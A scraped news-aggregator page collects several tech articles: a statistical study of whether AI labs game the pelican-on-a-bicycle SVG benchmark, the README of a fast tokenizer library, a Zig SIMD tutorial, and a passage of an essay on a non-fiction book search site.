10 interesting stories served every morning and every evening.

Swipe left to beginPress right arrow to begin

Check out this chat

chatgpt.com

1,042 shares · 39 trendiness

Get responses tailored to you

Read more Read the original on chatgpt.com →

Read the original on chatgpt.com →

Are AI labs pelicanmaxxing? – Dylan Castillo

dylancastillo.co

643 shares · 28 trendiness

For the past few years, Simon Willison has tested every major LLM release with the same prompt: “Generate an SVG of a pelican riding a bicycle”.

What began as a tongue-in-cheek benchmark has become one of the most famous informal benchmarks in AI. Simon’s pelican-on-a-bicycle results are often among the most upvoted comments on Hacker News threads announcing new releases from AI labs.

The benchmark is now famous enough that there’s plenty of discussion about its usefulness and about whether AI labs might be benchmaxxing1 on it. When billions or even trillions of dollars are at stake, and a strong result could help persuade users, wouldn’t it be tempting to pelicanmaxx your model just a bit?

I wanted to ﬁnd out, so I put together a small experiment. I generated 1,008 SVGs across seven frontier models, scored them with an LLM judge, and used Claude Fable 5 for the analysis.

This article presents the results. All the code is available on Github.

How I tested it

I built a grid of 8 animals × 6 vehicles = 48 prompts, where the famous prompt is one cell:

Animals: pelican, ﬂamingo, heron, otter, raccoon, antelope, whale, cat

Vehicles: bicycle, unicycle, skateboard, scooter, plane, boat

Every prompt uses almost identical phrasing to Simon’s, only switching the animal and vehicle. The animal and vehicle selection wasn’t done in a very rigorous manner, but I tried to vary both similarity to the original prompt and difﬁculty. Flamingo and heron are quite similar to pelicans; cat, raccoon, and otter are easy cases; antelope is hard; and whale is as different as you can get.

I tested seven models through OpenRouter: GPT-5.6 Terra, Claude Sonnet 5, Gemini 3.5 Flash, Grok 4.5, Qwen3.7-Max, GLM-5.2, and DeepSeek V4 Pro. I generated 3 samples per prompt, at temperature 1.0, requesting the same reasoning effort from every model. That resulted in 1,008 SVGs.

Then I ran each image through a three-stage pipeline:

Rendering: Each SVG is rendered to PNG. If a model returns no SVG or one that fails to render, I regenerate until it produces a valid one, and record the number of attempts. There were only 11 retries across the 1,008 generations.

Judging: GPT-5.6 Luna scores each image with 1 – 5 ratings for the animal, the vehicle, and the coherence of the action. When I rank animals or vehicles below, I use the matching rating on its own. When I need one number per image, I use the average of the three, which I call the judge score.

Feature extraction: For a more detailed analysis, I also passed each rendered image to Gemini 3.1 Flash-Lite, which recorded the animal and vehicle it recognized, which way the subject faces, and an open-ended list of scene elements.

My hypothesis is that if a lab trained on the benchmark, it should show up in some combination of the pelican row scoring above what the animal deserves, the bicycle column scoring above what the vehicle deserves, or the speciﬁc pelican-bicycle cell beating both.

Evidence #1: The pelicans on bicycles don’t look any better

Before any scoring, the simplest test is to look at the images yourself. Pick a lab to see everything it drew, with the judge’s score under each image (click to open full size):

I looked through the images myself before running the analysis below. Nothing jumped out at me. I couldn’t ﬁnd a case where the pelican-bicycle images looked noticeably better than the rest of that model’s grid. Maybe in GLM-5.2’s ﬁrst sample it felt slightly better than the rest, but that batch also produced a pretty cool heron on a skateboard, so I cannot say for sure. Otherwise they look like the rest of what each model draws, and the labs that draw good pelicans on bicycles also do a good job drawing other animal-vehicle combinations.

But this test is hard to replicate, and everyone will have a different opinion. So I wanted something more quantitative, which is why I opted for the method detailed above.

Evidence #2: Labs are not better at drawing pelicans

Here’s the mean animal rating per animal, pooled across all models:

The pelican is 6th of 8, behind cat, whale, raccoon, heron, and antelope. If AI labs were training on the benchmark, you’d expect pelicans at the top. Instead they’re in the bottom half. All seven labs draw cats, whales, and raccoons better than pelicans.

Of course, a pelican may simply be harder to draw than a cat. A lab could train on pelicans and still not push them past the easy animals, so this ranking alone can’t rule that out. I’ll adjust for difﬁculty in Evidence #4.

Evidence #3: Labs are not better at drawing bicycles

Bicycles fare even worse. They sit second from last, in a near-tie with planes, which come in last:

If labs were training on the benchmark, you’d expect bicycles near the top of this ranking. They’re not. However, the same caveat applies here. A bicycle is harder to draw than a skateboard: it needs two matching wheels, a frame that reaches both axles, handlebars, a seat, and pedals. The judge ﬂags a missing or disconnected one of those on 2/3 of the bicycle images. You can train on bicycle images and still not do a great job relative to simpler vehicles.

One note on the plane, though: I should’ve picked “airplane” instead of “plane” because models often read it geometrically. They drew the animal standing on a ﬂat surface instead of ﬂying an aircraft. The plane is the only vehicle where the feature extractor sometimes found no vehicle at all (25 of 168 images, against zero for the other ﬁve), and 20% of plane images scored a 1 or 2 on the vehicle rating, against 5% for bicycles and none at all for boats, scooters, or skateboards.

Evidence #4: Labs are not better at drawing pelicans on bicycles, even adjusting for difﬁculty

Put the two together and the “pelican on a bicycle” ends up near the bottom of the ranking, at #42 of 48:

But again, some combinations might be just harder to draw than others.

To account for that, I ﬁt a ﬁxed-effects regression on all 1,008 images: score ~ lab + animal × vehicle, plus per-lab interaction terms for pelican, bicycle, and the pelican-bicycle cell, with robust standard errors. The animal × vehicle terms absorb the inherent difﬁculty of all 48 combinations. The interactions measure each lab’s benchmark-speciﬁc boost relative to the average lab, with conﬁdence intervals.

The results:

Every per-lab pelican effect (the lab’s boost on pelicans across all six vehicles) lands between -0.11 and +0.14 judge points, and none comes close to significance (smallest p = 0.25).

The per-lab bicycle effects (the lab’s boost on bicycles across all eight animals) run from Grok 4.5 at -0.18 (p=0.11) to Gemini 3.5 Flash at +0.27 (p=0.022). Only Gemini clears p < 0.05, and the seven point in both directions.

No pelican-bicycle cell effect (the extra boost on the speciﬁc combination, on top of the lab’s pelican and bicycle effects) clears p < 0.05. The largest positive is GLM-5.2 at +0.35 (p=0.12), which is the one I mentioned earlier. It’s the closest thing to a signal in this experiment, but still within chance.

Here are the full per-lab estimates. A pelicanmaxxing lab would show dots to the right of the zero line across its whole row:

Every pelican interval and every cell interval contains zero. Exactly one doesn’t: Gemini 3.5 Flash in the bicycle column. But with 21 tests at p < 0.05, chance alone predicts about one false positive (21 × 0.05 ≈ 1.05), and one is exactly what came up. It also doesn’t survive a multiple-comparisons correction: the Bonferroni threshold across the 21 tests is 0.05/21 ≈ 0.002, and its p-value is 0.022. The full table of estimates and p-values is in the repo.

But these intervals are wide, about ±0.6 judge points on average. Any boost smaller than that won’t be captured by this test.

Evidence #5: The pelican-bicycle scenes don’t look memorized

Some have suggested that the pelican on a bicycle looks like a memorized composition, pointing to recurring patterns such as the pelican always facing right, or recurring elements like a sun or a scarf. So I wanted to know if this was true.

Direction: All 21 pelican-bicycle images, across all seven labs, face right. No other animal/vehicle combination does that.

However, facing right is common: 60% of all 1,008 images do it. How common depends on the animal and the vehicle, and bicycles are one of the two vehicles where it’s strongest:

Pelicans are also among the animals that tend to face right:

It’s hard to draw a pelican or a bicycle facing the viewer, so models almost always draw them from the side, facing left or right. That’s why so few of their images are ambiguous. Other combinations also come close to unanimous: antelope on a scooter and pelican on a scooter land at 20 of 21, and heron on a bicycle at 19 of 21. So 21 out of 21 doesn’t seem like an outlier.

Scene elements: I let the extractor name any element it saw in the image. These are the counts:

A memorized scene would show up as the same set of elements recurring picture after picture. I went looking for that, and found some combinations do tend to produce the same elements every time. Every single ﬂamingo on a boat has a sun in it. Otters on planes wear scarves 38% of the time. Cats on bicycles get a basket 38% of the time.

The pelican on a bicycle doesn’t seem to have anything particularly different about it. It just has some elements that appear more frequently, like every other animal-vehicle combination.

Limitations

Using a single LLM judge for scoring. Every score here comes from one model, GPT-5.6 Luna, looking at one image at a time. I didn’t do much alignment and didn’t check how often it agrees with itself on a re-run. If a model just can’t judge a drawing reliably, none of the numbers above mean much. The judge is also from the same family as one of the contestants, GPT-5.6 Terra. However, every lab draws all 48 combinations, so a judge that happens to like one lab’s style lifts that lab’s whole grid at once. But that doesn’t change the results because this analysis only cares about the within-lab differences.

SVGmaxxing. A lab that optimized SVG generation as a whole (or a subset such as animals on vehicles) rises on every cell at once and looks identical to a lab that’s just good. Some labs, such as Google/DeepMind, openly do this. This experiment can’t detect that.

Limited budget. The whole experiment ran on roughly $80 of API credits. That capped it at 3 samples per cell, a single judge, and 7 models. This also prevented me from iterating too much on the prompts and pipeline, as with the “plane” vs. “airplane” case.

Conclusion

Sorry, HN haters, but there’s little evidence that AI labs are pelicanmaxxing. Or at least they’re not doing it in a plainly obvious manner.

Pelicans aren’t drawn any better than other animals. Bicycles aren’t drawn any better than other vehicles. And no lab draws the combination better than its pelicans and bicycles already predict. GLM-5.2 comes closest: it has the largest boost on the exact pelican-bicycle cell, and its ﬁrst pelican-on-bicycle sample caught my eye. But the effect is small and not significant, so I wouldn’t put too much weight on it.

The other thing that stands out is direction in the scene composition. All 21 pelican-bicycle images face right, the only combination in the grid where every image agrees. But it doesn’t seem that strange. Facing right is the norm across the experiment. Three other combinations land at 90% or above, and with 48 of them, I’m not surprised one reached 21 out of 21.

The more plausible story is SVGmaxxing like Google/DeepMind does. Other labs might be doing it more quietly. Sadly, this experiment can’t say who’s doing it. But at least you can sleep tonight knowing that AI labs are not producing terabytes of pelicans on bicycles just to trick Simon Willison.

If you want to look at the data yourself, the full pipeline is in the repo.

Footnotes

the practice of optimizing AI models to achieve high scores on popular benchmarks.↩︎

Citation

BibTeX citation:

@online{castillo2026, author = {Castillo, Dylan}, title = {Are {AI} Labs Pelicanmaxxing?}, date = {2026 – 07-18}, url = {https://dylancastillo.co/posts/pelicanmaxxing.html}, langid = {en} }

For attribution, please cite this work as:

Castillo, Dylan. 2026. “Are AI Labs Pelicanmaxxing?” July 18. https://dylancastillo.co/posts/pelicanmaxxing.html.

Read more Read the original on dylancastillo.co →

Read the original on dylancastillo.co →

GitHub - marcelroed/gigatoken: Language model tokenization at GB/s

github.com

590 shares · 22 trendiness

~1000x faster than HuggingFace’s tokenizers, drop-in replacement.

Tokenize your text data at GB/s!

Note that both HF tokenizers and tiktoken are already running multithreaded Rust!

What is Gigatoken?

Gigatoken is the fastest tokenizer for language modeling. It supports a wide range of CPU hardware, and nearly all commonly used tokenizers. See the Benchmarks section for detailed throughput numbers across tokenizers and CPUs.

Installation

pip install gigatoken

Usage

Gigatoken can be used with its own API, or in compatibility mode with HuggingFace Tokenizers or Tiktoken.

Compatibility Mode (Easiest)

import gigatoken as gt

# Minimum change from existing HuggingFace tokenizers usage (compatibility mode) hf_tokenizer = … tokenizer = gt.Tokenizer(hf_tokenizer).as_hf()

# tokenizer can be used in the same contexts as hf_tokenizer tokens = tokenizer.encode_batch([“This is a test string”, “And here is another”])

# OR with tiktoken tiktokenizer = … tokenizer = gt.Tokenizer(tiktokenizer).as_tiktoken()

# Now works like existing tiktoken tokenizers tokens = tokenizer.encode_batch([“This is a test string”, “And here is another”])

A substantial amount of effort has been put into making sure the outputs match exactly with what you would get with HuggingFace Tokenizers in this setting, but this is at a non-negligible cost to performance. You can still expect way faster performance across the board, but not quite the 1000x you will get with the Gigatoken API.

Gigatoken API (Fastest)

import gigatoken as gt

tokenizer = gt.Tokenizer(“Qwen/Qwen3 – 8B”) # Accepts HF model names ﬁle_source = gt.TextFileSource([“owt_train.txt”], separator=b”<|endoftext|>“) tokens = tokenizer.encode_ﬁles(ﬁle_source)

Using the Gigatoken API lets the Rust implementation read data directly, and skips as much overhead as possible while allowing for maximum parallelism. Keep in mind that passing Python data structures through this API still incurs the overhead of reading from Python.

Benchmarks

OWT (openwebtext) was chosen because it’s roughly representative of the text you get after extraction from CommonCrawl documents. Gigatoken encodes the whole ﬁle un-split, and is thus doing more work than the other tokenizers to ﬁnd the split boundaries and automatically parallelize. HuggingFace tokenizers (encode_batch_fast) gets the ﬁrst 100 MB and tiktoken (encode_ordinary_batch) the ﬁrst 1 GB, both presplit on <|endoftext|>. This is fair because neither of the compared tokenizers do caching, meaning the speed is roughly uniform throughout processing. Tiktoken rows are currently only ﬁlled in for tokenizers with ofﬁcial support.

The slowest rows are the SentencePiece-based tokenizers, which are not well optimized in Gigatoken.

Each row is one distinct tokenizer (identical vocab/merges/pretokenizer), measured on a representative repo. If you don’t see your tokenizer here, it’s likely based on some existing one. For instance:

Llama 3 / 3.1 / 3.2 — Llama 3 / 3.1 / 3.2, DeepSeek-R1-Distill-Llama, Hermes 3, Saiga, and other Llama-3 ﬁnetunes

Llama 3.3 — Llama 3.3, Llama-3.1-Nemotron-Nano-VL, SmolLM3, Kanana 1.5, jina-embeddings-v5, Ultravox

Qwen 2 / 2.5 — Qwen 2 and 2.5 (incl. Coder and VL), Qwen3-Coder, Qwen3-VL, DeepSeek-R1 Qwen distills, MiMo V2.5, MiniCPM-o 2.6, InternVL3

Qwen 3 — Qwen 3 (incl. Embedding and Reranker), Qwen2.5-Omni, Qwen3-VL-Embedding, MiMo V2.5 Pro, jina-reranker-m0, pplx-embed, MOSS-TTS, Zeta

DeepSeek V3 / R1 / V4 — DeepSeek V3 / V3.1 / V3.2, R1, V4 Flash and Pro, DeepSeek-VL2

GLM 4 — GLM 4.1V, 4.5, and 4.7

GLM 5 — GLM 5 / 5.2 and GLM-4.7-Flash

Nemotron 3 — Nemotron 3 Nano, Super, and Ultra

Kimi K2 — Kimi K2 / K2.5 / K2.6 / K2.7, Kimi-Linear, Kimi-VL, Moonlight

Phi-4-mini — Phi-4-mini and Phi-4-multimodal

TinyLlama / Phi-3 (Llama 2) — TinyLlama, Phi-3-mini, Phi-3.5-mini and Phi-3.5-vision (the Llama 2 vocab)

Gemma 3 — Gemma 3 (270M–27B) and EmbeddingGemma

Gemma 4 — Gemma 4 (dense, MoE, and E-series) and DiffusionGemma

FAQ

Q: Did you just way over-optimize for a speciﬁc CPU and tokenizer? How is it so fast?

No, I way over-optimized for every combination of these! The results are very consistent across CPUs (modern x86 and ARM), and across speciﬁc tokenizers.

The major improvements are in optimizing heavily an implementation that usually is outsourced to a Regex engine (pretokenization) using SIMD, minimizing branching and other tricks, as well as heavily optimizing caching of pretoken mappings (if a word has been seen before, look it up its encoded tokens efﬁciently). Caching is a very hard problem in this domain since the cache grows very quickly, and pretoken distributions are very long-tailed.

Some gains are also achieved from minimizing interactions with Python, and avoiding communication between threads.

Q: How can I quickly check if my tokenizer is supported?

You can try it out without installing anything! The following command will validate and time tokenization for a given HuggingFace model repo:

# Download your data wget https://huggingface.co/datasets/stanford-cs336/owt-sample/resolve/main/owt_train.txt.gz # Just an example! gunzip owt_train.txt.gz

uvx –with tokenizers gigatoken bench ‘openai-community/gpt2’ owt_train.txt \ –validate –doc-separator “<|endoftext|>”

cpu: Apple M4 Max, 16 cores gigatoken: 1.432 s | 11920.51 MB at 8327.05 MB/s | 2701.65 Mtok at 1887.23 Mtok/s hf: 16.250 s | 100.00 MB at 6.15 MB/s | 22.76 Mtok at 1.40 Mtok/s gigatoken is 1353.13x faster than hf validation OK: 20401 documents match

cpu: AMD EPYC 9565 72-Core Processor, 144 cores, 2 sockets gigatoken: 0.486 s | 11920.51 MB at 24532.45 MB/s | 2701.65 Mtok at 5564.94 Mtok/s hf: 4.033 s | 100.00 MB at 24.80 MB/s | 22.76 Mtok at 5.63 Mtok/s gigatoken is 989.21x faster than hf validation OK: 20401 documents match

At the rates we see on the EPYC CPU, you could tokenize the entirety of Common Crawl (often considered to be the entire internet, 130 trillion tokens) in just under 6.5 hours!

This example uses the train sample from this dataset, and the CLI by default subsets to the ﬁrst 100MB of the ﬁle for validation and comparison with HF. You can see help for these ﬂags with uvx gigatoken bench –help. You might need to run your commands twice on macOS to get a good reading, since the ﬁrst run will always perform a security scan, which will slow down the Rust code.

Q: I’ve found a mismatch/slow use-case, is this expected?

Most likely not! Despite reasonably wide testing I don’t have every use-case on hand, so please report anything you ﬁnd in a GitHub Issue so I can address it as soon as possible.

Citation

If you use Gigatoken in your research, please cite it as:

@software{roed2026gigatoken, author = {Marcel R{\o}d}, title = {{G}igatoken: SIMD and Cache Hierarchies for 1000x Faster Byte-Pair Encoding Tokenization on Modern CPUs}, url = {https://github.com/marcelroed/gigatoken}, year = {2026}, }

Known Issues

Python iteration is handled in Rust, but uses ABI3, which is slower than using internal version-speciﬁc CPython APIs. In the future I intend to specialize for each Python version to cut this overhead. Early experiments show a 2x speed improvement for overhead-bound cases.

File sinks are not yet implemented in the Gigatoken API.

WordPiece is not yet supported.

SentencePiece-based tokenization is not nearly as optimized as the more common BPE tokenizers. This is low priority for now since mostly Google models/BERT style models use SentencePiece.

Windows has not been tested much, so for now prefer using WSL.

Implementing the user-facing API

Widening of compatibility, for instance generalizing and porting the pretokenizer implementations to support more tokenizers, less interesting features like padding/truncation/unicode normalization

Porting SIMD strategies between AVX512/AVX2/NEON

Final proﬁling stages and the last ~4x worth of performance from eliminating branching and improving the pretoken cache hierarchy

Refactoring and code reuse

Read more Read the original on github.com →

Read the original on github.com →

Everyone Should Know SIMD

mitchellh.com

579 shares · 26 trendiness

SIMD has a reputation for being complex. I’ve met many very good software engineers who dismiss it as something too complex to learn or a niche optimization meant for only the highest-performance software, not useful in everyday programming.

I think that’s wrong. SIMD can be simple to understand1, and common “process N values at a time” SIMD code to speed up a naive for loop almost always follows the same general shape. Once you learn the basics, writing SIMD is just about as easy as a for loop. And when it’s not, it’s usually a good sign to skip it for now.

Every developer should know at least that much SIMD.

This post uses Zig for examples but is a general piece that applies to any programming language. Support for SIMD instructions varies by programming language and I hope that more programming languages expose these generic concepts in the future!

I hate that I have to do this for every post now, but I also want to note this was completely hand-written with no AI assistance.

Background: What Is SIMD?

The Common Shape

A Real Example

Step 1: Broadcast Constants

Step 2: Loop One Vector at a Time

Step 3: Perform the SIMD Operation

Step 4: Reduce the Vector Result

Step 5: Finish with the Scalar Tail

Recap: The Common Shape

Why Can’t the Compiler Do This?

Everyone Should Know SIMD

Background: What Is SIMD?

If you already know what SIMD is, skip this section.

SIMD allows a CPU to operate on multiple values in parallel. For example, instead of comparing one byte at a time, a CPU can compare 4, 8, or even more bytes with a single instruction.

If you ever see loops like this in your code:

for (byte in bytes) { /* … */ } for (character in string) { /* … */ } for (value in array) { /* … */ }

There is an opportunity to use SIMD. SIMD turns those into this:

for (8 byte chunk in bytes) { /* … */ }

This results in a localized speedup that directly maps to the parallelism: you process data 4x, 8x, or even faster.

The only real requirement for this to pay off is that you need to be regularly processing a large enough number of bytes. If you’re doing these for loops across data that is only ever a handful or dozens of bytes, it’s not worth it. But if this is iterating over hundreds, thousands, millions of bytes, the payoff will be huge.

That’s the basics. Projects such as simdutf and simdjson take this to an extreme and use SIMD techniques that can be difﬁcult to understand. But you do not need to write algorithms like those to beneﬁt from SIMD. The common case is dramatically simpler.

The Common Shape

The common “process N values at a time” SIMD code follows the same ﬁve steps:

Broadcast any constants you need and initialize vector accumulators, if any.

Loop over input one vector-width chunk at a time.

Perform the comparison or arithmetic across all lanes in parallel.

Reduce or store the vector result as needed.

Handle the remaining elements with a scalar tail. A scalar tail is just your normal loop from before vectorizing, but it only processes the remainder that doesn’t ﬁt into a full vector.

As you do this more and more, you’ll begin to naturally decompose every for loop into these ﬁve steps and writing SIMD becomes nearly as natural as writing a scalar loop.

A Real Example

Let’s look at a real example from Ghostty. We’ll look at the scalar implementation, the SIMD implementation, and then map it back to the common shape above.

I have a slice of decoded codepoints that I want to consume until I see a value at or below 0xF (a C0 control character).2 Terminals are mostly plain characters to be printed, so we try to batch all those together. So this loop ﬁnds the end of the next printable run as quickly as possible.

The scalar loop is one line:

while (end < cps.len and cps[end] > 0xF) end += 1;

It processes one codepoint at a time. It is easy to understand.

Here is the generic vector version with no CPU-speciﬁc intrinsics3 and no comments. I will explain it in detail later.

if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const threshold: V = @splat(0xF); while (end + lanes <= cps.len) : (end += lanes) { const values: V = cps[end..][0..lanes].*; const greater_than_threshold = values > threshold; if (@reduce(.And, greater_than_threshold)) continue; const mask: std.meta.Int(.unsigned, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break; } }

while (end < cps.len and cps[end] > 0xF) end += 1;

12 more lines of code.

This can improve the loop’s throughput by up to 4x with ARM NEON (including Apple Silicon), 8x with AVX2 (most modern x86 CPUs), and 16x with AVX-512 (some Intel CPUs and AMD Zen 4 and newer).

In real-world end-to-end throughput from terminal program to ﬁnalized terminal state on an AVX2 Intel desktop, this was more like a 5x speedup. You always lose some of the ideal speedup due to the other stuff around the SIMD code, but… that’s still 5x!

Okay, now I understand that those 12 lines are going to look really alien to someone not familiar with the concepts. So now let’s back up and explain it step by step, mapping it directly to the shape previously mentioned.

Step 1: Broadcast Constants

Let’s start with the ﬁrst three lines:

if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const threshold: V = @splat(0xF);

simd.lanes(u32) is a helper in Ghostty that returns the number of u32 values the target CPU can process at once. These individual values are called lanes. On ARM this returns 4, AVX2 returns 8, and AVX-512 returns 16. If the target doesn’t have a vector size we want to use, it returns null and we skip all of this code and do zero SIMD work.

@Vector(lanes, u32) creates the vector type. If lanes is 8, then V is a single value containing eight u32 values that the CPU can operate on in parallel. And so on.

Finally, we need to compare every value to 0xF. A vector comparison requires a vector on both sides, so @splat(0xF) copies, or broadcasts, 0xF into every lane. The result is a vector that looks like this:

{ 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF }

This is step 1: prepare the vector type and broadcast any constants. Some algorithms also initialize a vector accumulator here, but this algorithm doesn’t need one.

Step 2: Loop One Vector at a Time

Next, we loop over one complete vector at a time:

while (end + lanes <= cps.len) : (end += lanes) { const values: V = cps[end..][0..lanes].*;

If lanes is 8, we only enter the loop when at least eight values remain. Inside the loop, we load those eight values into the vector values. At the end of every loop, end += lanes moves forward by eight values instead of one.

The requirement for a complete vector is important. If only ﬁve values remain, we can’t load an eight-lane vector. There are various tricks to handle this, but we do the easy thing and handle them via our scalar tail, which I’ll explain later in step 5.

This is step 2: load and loop over the input one vector-width chunk at a time. You can see the lane-count speedup here!

Step 3: Perform the SIMD Operation

Now we perform the comparison:

const greater_than_threshold = values > threshold;

Both values and threshold are vectors, so this maps to a vector operation (a literal vector CPU instruction). The one > compares every lane in values to every corresponding lane in threshold. If there are eight lanes, this is equivalent to performing the scalar comparison cps[end] > 0xF eight times, but it does it in one CPU instruction instead.4

The result is another vector with one boolean per lane. Conceptually, it looks something like this:

values: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } threshold: { 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF } greater_than_threshold: { true, true, true, false, true, true, true, true }

This is the actual SIMD operation. There is no explicit inner loop. The > operator applies to every lane in parallel.

Comparisons are only one example. This could be addition, multiplication, minimum, maximum, or any other operation supported by the vector type. The point is the code still has the same shape.

Step 4: Reduce the Vector Result

We now have a vector of booleans, but the original loop needs to know the location of the ﬁrst value at or below 0xF.

First, let’s handle the common case where every value is above 0xF:

if (@reduce(.And, greater_than_threshold)) continue;

@reduce(.And, …) combines every boolean using and and returns a single boolean. If every lane is true, we continue and process the next vector. In our example, lane 3 is false, so @reduce returns false and we fall through to ﬁnd exactly which lane failed.

If any lane is false, then we need to ﬁnd exactly which lane failed:

const mask: std.meta.Int(.unsigned, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break;

@bitCast turns the vector of booleans into an integer with one bit per lane. A 1 bit means the value was greater than 0xF and a 0 means it wasn’t. We invert the mask so failed comparisons are 1, and then @ctz counts the number of zero bits before the ﬁrst failure. That count is the index of the ﬁrst failing lane.

We add that index to end and break because we found the control character.

Using the same values from step 3, we can see this transformation per lane:

values: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } greater_than_threshold: { true, true, true, false, true, true, true, true } mask: { 1, 1, 1, 0, 1, 1, 1, 1 } ~mask: { 0, 0, 0, 1, 0, 0, 0, 0 }

@ctz(~mask) counts three zero bits before the ﬁrst 1, so it returns 3. Adding 3 to end points it at lane 3, which contains 0x0A, the ﬁrst control character.

This is step 4: reduce the vector result into whatever the original algorithm needs. This is also the step that varies the most between algorithms. A sum might reduce a vector accumulator into a single number. A transform might store the entire vector to an output buffer. Our scan turns the vector into a bit mask so it can ﬁnd one speciﬁc lane.

Step 5: Finish with the Scalar Tail

After the vector loop, we run the exact scalar loop we started with:

while (end < cps.len and cps[end] > 0xF) end += 1;

If the input length isn’t an exact multiple of the vector width, this processes the remaining values. For example, an eight-lane vector loop leaves anywhere from zero to seven values for this loop. This is called the scalar tail.

This loop also handles CPUs where simd.lanes(u32) returns null. In that case we skip all of the SIMD code and the scalar loop processes the entire input. The original implementation remains both the fallback and the tail.

That’s step 5. It’s just the normal loop.

Recap: The Common Shape

Let’s map the entire implementation back to the ﬁve steps:

@splat(0xF) broadcasts the comparison value into every lane.

The while loop loads lanes values at a time.

values > threshold compares every lane in parallel.

@reduce, @bitCast, and @ctz ﬁnd the ﬁrst failed comparison.

The original scalar loop handles the remainder and unsupported CPUs.

The details in step 4 initially take some time to understand, but the overall shape is straightforward. And steps 1, 2, 3, and 5 tend to look nearly identical across completely different algorithms.

Whenever you see a for (byte in bytes), this is the shape you’ll map to.

Why Can’t the Compiler Do This?

Sometimes it can! Compilers can auto-vectorize simple loops, particularly regular arithmetic loops without complex control ﬂow. You should always compile the scalar version with optimizations and see what your compiler produces before manually writing SIMD.

But compilers are severely limited in what they can auto-vectorize and are in general very poor at it. Auto-vectorization has been an active area of compiler research for decades, and recent research still begins from the observation that production compilers regularly miss vectorization opportunities. This isn’t a problem I expect to disappear soon.

Read more Read the original on mitchellh.com →

Read the original on mitchellh.com →

Quality non-fiction books are the antithesis of AI slop

resobscura.substack.com

465 shares · 24 trendiness

My ﬁrst year of college, I had a work-study job which ended up being one of the most sneakily important intellectual experiences of my life. I was a lowly library shelver, assigned to the shelves labelled A through F section in the Library of Congress ﬁling system: mostly works on religion, philosophy, sociology, and history. I say sneakily important because at ﬁrst glance, shelving books in a library is super boring. What it amounts to, physically, is reading the label on a book, then placing it on the shelf where it belongs, repeated around a thousand times per shift.

To avoid the tedium, I decided that I would also ﬂip to a random page of every book I shelved and read a random sentence from it. Usually, I would stop there — running aground on some passage by a Hungarian classical music critic or a long-dead statistician of Bolivia’s agricultural development or any number of other things that failed to catch my interest. But other times — like when I came across a book about Hellenistic mystery cults, or The Education of Henry Adams, or Are Clothes Modern?— I would become so absorbed that I’d make my way through several pages before reluctantly depositing the book back where it belonged.

And then, very often, I’d do the same with the books on either side of the one I’d liked.

In retrospect, I learned more at this job than in any formal class I’ve ever taken, because it was a ﬁltered form of auto-didacticism. The Library of Congress classiﬁcation system — and the expert staff of an academic research library — had already sorted and ﬁltered these texts. Not to mention the selection mechanism of the fact that that they had been checked out: had, in other words, found a lasting readership. Thus I was not seeing a truly haphazard sampling of books, but a targeted, organized, yet still interestingly randomized sampling of good books.

Today, undergraduate students will invariably search on Google when asked to ﬁnd a source, and the results are so much worse than the old method of going to, say, the GR 830 shelf of a research library (basically, “books that the Ghostbusters would read”) and just looking around.

But honestly, even research libraries are not what they used to be. I am 41, and I feel like I’ve lived through the peak, and now the decline, of what libraries can be (I still love them, of course — in fact I’m currently writing this in the genealogy section of the Santa Cruz Public Library). The browsable open stacks of old are being replaced by Learning Labs and Digital Innovation Hubs and seating areas devoted mostly to socializing and snacking, and increasingly, the delightful, weird old books that I had the opportunity to browse as an undergrad are heading to dumpsters, replaced by e-editions.

But one thing that has remained consistently good throughout my life is the books themselves — non-ﬁction books, I mean. Even now, as readership of non-ﬁction declines amid competition from AI chatbots and podcasts, I feel like we are living through a golden age of the form that rarely gets recognized as such.

Which is why I set aside some time this summer to create — or, rather, induce Claude Code to create — a free platform for searching in the long tail of high-quality non-ﬁction books. Quality is difﬁcult to deﬁne, but it’s been my experience that books that win or achieve the short-list of the major non-ﬁction prizes are almost always noticeably good, so that was the litmus test I used. To get started, I counted up all the major non-ﬁction prizes in the English language. Then I had Claude and GPT-5.6 gather the lists of ﬁnalists and winners from various online sources (mostly Wikipedia) and arrange it into a searchable, sortable list.

You can visit it here.

(And before you wonder, yes this is actually free. I am paying for the hosting and the API costs entirely because I just want people to ﬁnd and read more good non-ﬁction books.)

There is really nothing “AI” about this aside from the tool that collected the data and coded it,1 and, crucially, semantic search, which for me is the most appealing of all current AI tools precisely because it offers a straightforward improvement for a workﬂow and habit that researchers already have: it makes text search work better.

So for instance, you can search simple phrases like “modern France” or “social history” or the like, but you can also search things like “classic biographies that are surprisingly weird,” and an embedding model pulls from the 6,500 or so titles to surface some:

Sometimes the “choices” that the search makes are a bit bafﬂing, but that is precisely why I like it: the idea is to recapture some of that feeling of a random walk through a well-tended garden that made my library shelving job so rewarding.

I ﬁnd it tends to be best for ﬁnding “books like.” For instance I found Stefan Zweig’s memoir of pre-war Vienna, The World of Yesterday, to be deeply moving (even before I learned that he committed suicide, in Brazil in 1942, immediately after completing it). A search for a books like it using semantic search in the corpus immediately yields some titles that seem promising but which I’d never heard of before:

Once I had gathered all this book-related data, it became a fun experiment to make some data visualizations with it, including fun oddities like this display of roughly 5,000 books from the corpus arranged by color (it would be interesting to plot this by decade, to see whether the same graying effect we see in cars over the past few decades is active in book covers, too).

More useful, perhaps (since I’ve never seen this plotted anywhere else), is this chart and accompanying ranking which allows you to explore which imprints and publishers have fared best when it comes to non-ﬁction book awards over the past century.

And this, in turn, got me thinking about the past and future of nonﬁction as a cultural force. For instance, here is a chart of all the non-ﬁction book prizes which I sampled for this project. I was surprised to learn that even the august, renowned Pulitzer Prize for nonﬁction was actually relatively recently instituted, beginning in 1962.

Throughout the 70s, 80s and 90s, the number of prizes increases, until we reach a peak in 2014, and then, in 2020, the beginning of what may be a slow decline:

